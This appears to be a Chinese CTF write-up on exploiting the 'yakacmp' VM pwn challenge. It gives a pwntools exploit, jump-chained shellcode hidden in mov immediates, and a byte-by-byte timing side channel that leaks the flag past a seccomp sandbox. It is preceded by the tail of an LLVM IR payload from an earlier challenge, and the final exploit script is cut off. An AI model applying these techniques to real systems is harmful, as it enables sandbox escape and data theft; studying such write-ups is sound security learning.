; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other176(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other177(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other178(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other179(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other180(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other181(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other182(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other183(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other184(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other185(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other186(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other187(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other188(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other189(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other190(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other191(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other192(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other193(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other194(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other195(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other196(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other197(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other198(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other199(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other200(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other201(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other202(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other203(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other204(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other205(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other206(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other207(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other208(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other209(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other210(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other211(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other212(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other213(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other214(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other215(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other216(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other217(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other218(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other219(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other220(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other221(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other222(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other223(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other224(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other225(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other226(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other227(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other228(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other229(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other230(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other231(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other232(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other233(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other234(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other235(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other236(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other237(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other238(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other239(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other240(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other241(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other242(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other243(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other244(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other245(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other246(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other247(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other248(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other249(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other250(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other251(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other252(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other253(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other254(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @other255(i32) #0 {
%2 = alloca i32, align 4
store i32 %0, i32* %2, align 4
ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @gamestart() #0 {
call void @tiandongwanxiang()
call void @wuxiangdeyidao()
call void @zhanjinniuza()
call void @guobapenhuo()
call void @tiandongwanxiang()
call void @tiandongwanxiang()
call void @tiandongwanxiang()
call void @tiandongwanxiang()
call void @tiandongwanxiang()
call void @tiandongwanxiang()
call void @tiandongwanxiang()
call void @tiandongwanxiang()
call void @tiandongwanxiang()
call void @wuxiangdeyidao()
call void @zhanjinniuza()
call void @other000(i32 233)
call void @other001(i32 233)
call void @other002(i32 233)
call void @other003(i32 233)
call void @other004(i32 233)
call void @other005(i32 233)
call void @other006(i32 233)
call void @other007(i32 233)
call void @other008(i32 233)
call void @other009(i32 233)
call void @other010(i32 233)
call void @other011(i32 233)
call void @other012(i32 233)
call void @other013(i32 233)
call void @other014(i32 233)
call void @other015(i32 233)
call void @other016(i32 233)
call void @other017(i32 233)
call void @other018(i32 233)
call void @other019(i32 233)
call void @other020(i32 233)
call void @other021(i32 233)
call void @other022(i32 233)
call void @other023(i32 233)
call void @other024(i32 233)
call void @other025(i32 233)
call void @other026(i32 233)
call void @other027(i32 233)
call void @other028(i32 233)
call void @other029(i32 233)
call void @other030(i32 233)
call void @other031(i32 233)
call void @other032(i32 233)
call void @other033(i32 233)
call void @other034(i32 233)
call void @other035(i32 233)
call void @other036(i32 233)
call void @other037(i32 233)
call void @other038(i32 233)
call void @other039(i32 233)
call void @other040(i32 233)
call void @other041(i32 233)
call void @other042(i32 233)
call void @other043(i32 233)
call void @other044(i32 233)
call void @other045(i32 233)
call void @other046(i32 233)
call void @other047(i32 233)
call void @other048(i32 233)
call void @other049(i32 233)
call void @other050(i32 233)
call void @other051(i32 233)
call void @other052(i32 233)
call void @other053(i32 233)
call void @other054(i32 233)
call void @other055(i32 233)
call void @other056(i32 233)
call void @other057(i32 233)
call void @other058(i32 233)
call void @other059(i32 233)
call void @other060(i32 233)
call void @other061(i32 233)
call void @other062(i32 233)
call void @other063(i32 233)
call void @other064(i32 233)
call void @other065(i32 233)
call void @other066(i32 233)
call void @other067(i32 233)
call void @other068(i32 233)
call void @other069(i32 233)
call void @other070(i32 233)
call void @other071(i32 233)
call void @other072(i32 233)
call void @other073(i32 233)
call void @other074(i32 233)
call void @other075(i32 233)
call void @other076(i32 233)
call void @other077(i32 233)
call void @other078(i32 233)
call void @other079(i32 233)
call void @other080(i32 233)
call void @other081(i32 233)
call void @other082(i32 233)
call void @other083(i32 233)
call void @other084(i32 233)
call void @other085(i32 233)
call void @other086(i32 233)
call void @other087(i32 233)
call void @other088(i32 233)
call void @other089(i32 233)
call void @other090(i32 233)
call void @other091(i32 233)
call void @other092(i32 233)
call void @other093(i32 233)
call void @other094(i32 233)
call void @other095(i32 233)
call void @other096(i32 233)
call void @other097(i32 233)
call void @other098(i32 233)
call void @other099(i32 233)
call void @other100(i32 233)
call void @other101(i32 233)
call void @other102(i32 233)
call void @other103(i32 233)
call void @other104(i32 233)
call void @other105(i32 233)
call void @other106(i32 233)
call void @other107(i32 233)
call void @other108(i32 233)
call void @other109(i32 233)
call void @other110(i32 233)
call void @other111(i32 233)
call void @other112(i32 233)
call void @other113(i32 233)
call void @other114(i32 233)
call void @other115(i32 233)
call void @other116(i32 233)
call void @other117(i32 233)
call void @other118(i32 233)
call void @other119(i32 233)
call void @other120(i32 233)
call void @other121(i32 233)
call void @other122(i32 233)
call void @other123(i32 233)
call void @other124(i32 233)
call void @other125(i32 233)
call void @other126(i32 233)
call void @other127(i32 233)
call void @other128(i32 233)
call void @other129(i32 233)
call void @other130(i32 233)
call void @other131(i32 233)
call void @other132(i32 233)
call void @other133(i32 233)
call void @other134(i32 233)
call void @other135(i32 233)
call void @other136(i32 233)
call void @other137(i32 233)
call void @other138(i32 233)
call void @other139(i32 233)
call void @other140(i32 233)
call void @other141(i32 233)
call void @other142(i32 233)
call void @other143(i32 233)
call void @other144(i32 233)
call void @other145(i32 233)
call void @other146(i32 233)
call void @other147(i32 233)
call void @other148(i32 233)
call void @other149(i32 233)
call void @other150(i32 233)
call void @other151(i32 233)
call void @other152(i32 233)
call void @other153(i32 233)
call void @other154(i32 233)
call void @other155(i32 233)
call void @other156(i32 233)
call void @other157(i32 233)
call void @other158(i32 233)
call void @other159(i32 233)
call void @other160(i32 233)
call void @other161(i32 233)
call void @other162(i32 233)
call void @other163(i32 233)
call void @other164(i32 233)
call void @other165(i32 233)
call void @other166(i32 233)
call void @other167(i32 233)
call void @other168(i32 233)
call void @other169(i32 233)
call void @other170(i32 233)
call void @other171(i32 233)
call void @other172(i32 233)
call void @other173(i32 233)
call void @other174(i32 233)
call void @other175(i32 233)
call void @other176(i32 233)
call void @other177(i32 233)
call void @other178(i32 233)
call void @other179(i32 233)
call void @other180(i32 233)
call void @other181(i32 233)
call void @other182(i32 233)
call void @other183(i32 233)
call void @other184(i32 233)
call void @other185(i32 233)
call void @other186(i32 233)
call void @other187(i32 233)
call void @other188(i32 233)
call void @other189(i32 233)
call void @other190(i32 233)
call void @other191(i32 233)
call void @other192(i32 233)
call void @other193(i32 233)
call void @other194(i32 233)
call void @other195(i32 233)
call void @other196(i32 233)
call void @other197(i32 233)
call void @other198(i32 233)
call void @other199(i32 233)
call void @other200(i32 233)
call void @other201(i32 233)
call void @other202(i32 233)
call void @other203(i32 233)
call void @other204(i32 233)
call void @other205(i32 233)
call void @other206(i32 233)
call void @other207(i32 233)
call void @other208(i32 233)
call void @other209(i32 233)
call void @other210(i32 233)
call void @other211(i32 233)
call void @other212(i32 233)
call void @other213(i32 233)
call void @other214(i32 233)
call void @other215(i32 233)
call void @other216(i32 233)
call void @other217(i32 233)
call void @other218(i32 233)
call void @other219(i32 233)
call void @other220(i32 233)
call void @other221(i32 233)
call void @other222(i32 233)
call void @other223(i32 233)
call void @other224(i32 233)
call void @other225(i32 233)
call void @other226(i32 233)
call void @other227(i32 233)
call void @other228(i32 233)
call void @other229(i32 233)
call void @other230(i32 233)
call void @other231(i32 233)
call void @other232(i32 233)
call void @other233(i32 233)
call void @other234(i32 233)
call void @other235(i32 233)
call void @other236(i32 233)
call void @other237(i32 233)
call void @other238(i32 233)
call void @other239(i32 233)
call void @other240(i32 0)
call void @other241(i32 0)
call void @other242(i32 64)
call void @other243(i32 0)
call void @other244(i32 233)
call void @other245(i32 233)
call void @other246(i32 233)
call void @other247(i32 233)
call void @other248(i32 233)
call void @other249(i32 233)
call void @other250(i32 233)
call void @other251(i32 233)
call void @other252(i32 233)
call void @other253(i32 233)
call void @other254(i32 233)
call void @other255(i32 233)
call void @other243(i32 0)
call void @other242(i32 0)
call void @other241(i32 0)
call void @other240(i32 0)
call void @upgrade(i32 255)
call void @fight(i32 0)
ret void
}

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 8.0.1-9 (tags/RELEASE_801/final)"}


成功getshell。

这道题在比赛中是笔者的队友负责的,但可惜的是最后的flag差了几秒没交上。这里借用一下他的exp做一篇分析文章。

这是一个用C++写的vm题,内部实现了各种指令到机器码的转换功能。下面就来分块分析一下。

Step 1: 分析main函数

Segment 1


这是加法指令识别与转换的部分代码。转换为机器码的主要流程在func_add函数。通过前面一部分的几个检查,我们可以知道这里要求的加法指令格式为:add r?, r?,其中?为1~4。通过对func_add函数中机器码的识别可知,这里的寄存器对应关系为:r1=rax, r2=rbx, r3=rcx, r4=rdx。注意 func_add函数处理的是寄存器与寄存器相加的指令,而对于寄存器与立即数相加的指令,则在最后一个部分进行处理,经过调试验证可知,如果第二个操作数是立即数,则立即数不能大于10,否则会立即退出。如果立即数不大于10,那么就会相应插入对应数量的inc指令,这也是上图最下面的func_inc的功能:生成inc rax/rbx/rcx/rdx指令。

Segment 2


这一块是处理减法的相关指令,和加法几乎相同。其中func_sub函数用于生成寄存器与寄存器之间的减法指令,而func_dec用于生成寄存器和立即数之间的减法指令。这里的立即数同样不能大于10。

Segment 3


这一部分是用于处理chg指令的代码,不过在func_chg中的具体实现并不是将指令转换为xchg的机器码,而是使用了两次push和两次pop指令来实现交换。如要实现chg rax, rbx,则func_chg函数会转换为push rax ; push rbx ; pop rax ; pop rbx

Segment 4


这一部分只调用了func_ret这个函数,因此判断这是用于构造一个ret指令的代码片段。但在最后的部分中有一个对v12的判断。简单看一下sub_44B0函数可以知道这个函数内部的函数调用关系极为复杂,不可能通过手动静态分析的方式获取代码语义。而且在其中还存在有很多下图中的这种逻辑非常简单的函数。因此可以尝试使用动态调试的方式猜测这个函数的具体功能。我们先往下看。

Segment 5


这一个部分的上半段明显有多次调用func_mov函数,判断是为了处理mov r**, r**这样的指令。如果第二个操作数不是寄存器,会判断值是否为0,如果为0就会将mov指令转译为xor指令,含义相同。如果第二个操作数的值不为0,就会进入下面的判断,其中又调用了sub_44B0函数。只有调用结果满足一定条件才会进行下面的指令转译。在条件成立时,程序会将mov reg, imm译为push imm ; pop reg。但无论这段代码是否执行,下面还有一个对func_movabs_8函数的调用,其实现的功能就是mov reg, imm,即如果条件内部的代码能够执行,这里相当于是重复生成了功能相同的指令。通过python脚本进行反汇编发现,并不存在能够push一个QWORD的指令,代码中以0x68开头的指令只能够push一个DWORD入栈。因此这里的指令生成可能存在问题。我们在分析结束后再对这里进行调试检查。

Segment 6


最后就是一些检查,循环代码的最后一小部分。当循环结束后会依条件选择插入一个ret指令,在执行沙箱后直接执行我们的代码。那么到此为止,我们就分析完了整个main函数的大致流程,可以知道main函数一共实现了寄存器与寄存器相加/减、寄存器与立即数相加/减(不大于10)、寄存器交换值、寄存器对寄存器赋值、立即数对寄存器赋值这5个功能。其中还有一些判断我们没有进行分析,重点就在于sub_44B0函数的分析上。我们通过进行几次调试来判断其功能。

Step 2: 调试发现sub_44B0函数的功能

测试:add reg, imm ; sub reg, imm, ret

可以发现在加法和减法的代码块中都各调用了两次sub_44B0函数,而且调用函数之前还会初始化一个字符串。这个字符串就是指令的种类。


这是调用了sub代码最后一个sub_44B0(即图中最下面的这个)函数后其返回值的追踪情况。调试发现,这个函数会返回一个堆指针。

我们可以发现这里似乎出现了一些有规律的结构。再结合函数调用后的++操作,可以初步判断这里应该有一个类结构,而++操作可能表示的是指令计数器。但是至于为什么要将mov指令的计数器反复清空,目前还不清楚。

以这种推断,我们来看一下其他代码片段中对于这个函数的调用情况。

在处理ret指令的代码片段中,一共调用了三次sub_44B0函数。第一次是对mov指令计数器清零,第二次是将ret指令的计数器加1。第三次是判断ret指令个数是否大于0。如果大于0就会直接退出程序。那么这里可以很明显地看出一个逻辑bug。只要我们写入了ret指令,那么程序一定会直接退出(目前来看是这样)。

在处理mov指令的代码片段中,一共调用了两次sub_44B0函数。第一次是将mov指令的计数器加1,第二次是判断mov指令计数器值是否大于10。如果大于10则会插入push/pop指令。

在跳出循环之后,还会调用一次该函数判断是否有ret函数。如果没有则进行插入。可见我们并不需要,也不能写入一个ret指令。

如此,我们就成功获取了sub_44B0函数的大致语义。这也给了我们一些启示:做题时应该静态调试和动态调试相结合

Step 3: 漏洞分析与利用

在第一步分析main代码时我们就发现,程序对于mov指令的处理似乎有些问题。我们通过调试验证一下。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./yakacmp')
io = process('./yakacmp')

def make_add(reg1, reg2):
return b'add ' + reg1 + b',' + reg2

def make_sub(reg1, reg2):
return b'sub ' + reg1 + b',' + reg2

def make_chg(reg1, reg2):
return b'chg ' + reg1 + b',' + reg2

def make_mov(reg1, reg2):
return b'mov ' + reg1 + b',' + reg2

def make_ret():
return b'ret'

def send_code(code):
io.sendlineafter(b'more operation?', code)

code = make_mov(b'r1', b'r2')
io.sendlineafter(b'some code now', code)
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
send_code(make_mov(b'r2', b'r3'))
gdb.attach(io)
time.sleep(3)
send_code(make_mov(b'r2', str(0x5212345678).encode()))
io.interactive()


可以看到,这里确实存在问题,有一个能够容纳最多4字节shellcode的空间。问题就出在最后一条语句中的赋值立即数。这里的push只能压入一个DWORD,但代码中却认为能压入一个QWORD,这就导致立即数的高4字节变成了独立的指令,且能够由我们完全控制。由于本题开启了沙箱,因此通过syscall调用execve是不行了,不过我们可以进行文件的相关操作。现在,就让我们来思考一下应该如何构造shellcode。

通过seccomp-tools可以获取到本题的沙箱:

可见这里只允许我们进行打开和读操作,不能写。那我们应该如何获取到flag的值呢?阅读了大佬的exp之后,我发现这种利用方式和Web中的SQL时间盲注有几分相似之处。我们不能直接将flag写到控制台,但是我们确实能够获取到flag的值。记得时间盲注的原理就是利用字符比较函数逐字节猜解表名和字段名,这里也是同样的道理:对内存中的flag逐字节猜解。如果相等,则会阻塞一段时间,如果不等,则会直接退出报EOFerror

参考现有的shellcode,我们需要将文件名flagflag.txt压入栈中,然后通过mov指令将rsp的值赋值给其他寄存器。当然程序中并没有实现与rsp有关的指令,这就需要用到上面的4字节自由区域了。实际上如果我们跳转的地址合理,正常的mov指令中的8字节立即数也可以成为我们写入shellcode的地方,毕竟4个字节的空间要是想要组成一个完整的shellcode,还需要考虑跳转指令张勇的2字节,剩下的2字节能写入的shellcode实在有限,因此还需要合理利用mov指令的8字节立即数。考虑到上面提到的逐字节猜解,我们的shellcode需要实现的功能有:

  1. 打开flag文件
  2. 读取flag文件到内存
  3. 每一次循环猜解一个字符,如果猜解正确就让其阻塞或陷入死循环,如果猜解错误就直接退出

下面我们来尝试实现shellcode。
注意:任意4字节代码能够生成必须前面要有连续的至少10个mov语句。

首先是打开flag文件。笔者采用flag这个文件名进行测试。

  1. 利用mov指令将"flag"字符串写入0x23330000中:movabs rax, 0x67616C66 ('flag')
  2. 写入9个mov指令:
    (1) 写入jmp后执行的第九段shellcode:mov rax, 0x72ebxxb1188a (mov bl, byte ptr [rax] ; mov cl, xx ; jmp 114)
    (2) 写入jmp后执行的第八段shellcode:mov rax, 0xf0ebdb314858 (pop rax ; xor rbx, rbx ; ; jmp -16)
    (3) 写入jmp后执行的第七段shellcode:mov rax, 0xefeb23330fxx68 (push 0x23330F00 + i ; jmp -17)
    (4) 写入jmp后执行的第六段shellcode:mov rax, 0xefeb050f58006a (push 0 ; pop rax ; syscall ; jmp -17)
    (5) 写入jmp后执行的第五段shellcode:mov rax, 0xf0eb5a406a5e (pop rsi ; push 0x40 ; pop rdx ; jmp -16)
    (6) 写入jmp后执行的第四段shellcode:mov rax, 0xefeb23330f0068 (push 0x23330F00 ; jmp -17)
    (7) 写入jmp后执行的第三段shellcode:mov rax, 0xefeb5f036a050f (syscall ; push 3 ; pop rdi ; jmp -17)
    (8) 写入jmp后执行的第二段shellcode:mov rax, 0xefeb585f5e006a (push 0 ; pop rsi ; pop rdi ; pop rax ; jmp -17)
    (9) 写入jmp后执行的第一段shellcode:mov rax, 0xeeeb2333000268 (push 0x23330002 ; jmp -17)
  3. 写入mov指令,在4字节空间中写入跳转指令跳转到前面一条mov指令的立即数中,在此之前顺便pushrax的值://push// 0xF1EB00000002 (push 2 ; jmp -15)
  4. 写入jmp后执行的第十段shellcode:mov rax, 0xfeeb1875cb38 (cmp bl, cl ; jne 23 ; jmp -2[dead loop])
  5. 写入jmp后执行的第十一段shellcode:mov rax ; 0xc3 (ret)

上面的代码中有两处xx,第一处表示猜解的字符,第二处表示猜解的是哪个下标的字符。由此我们可以写出本题的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import time

from pwn import *
context(arch='amd64')
flag = ''

elf = ELF('./yakacmp')
io = process('./yakacmp')

def make_add(reg1, reg2):
return b'add ' + reg1 + b',' + reg2

def make_sub(reg1, reg2):
return b'sub ' + reg1 + b',' + reg2

def make_chg(reg1, reg2):
return b'chg ' + reg1 + b',' + reg2

def make_mov(reg1, reg2):
return b'mov ' + reg1 + b',' + reg2

def make_ret():
return b'ret'

def send_code(code):
io.sendlineafter(b'more operation?', code)

for i in range(0x40):
added = False
for j in range(ord('0'), 0x80):
code = make_mov(b'r1', str(0x67616C66).encode())
io.sendlineafter(b'some code now', code)
send_code(make_mov(b'r2', str(0x72eb_00_b1188a + (j << 24)).encode()))
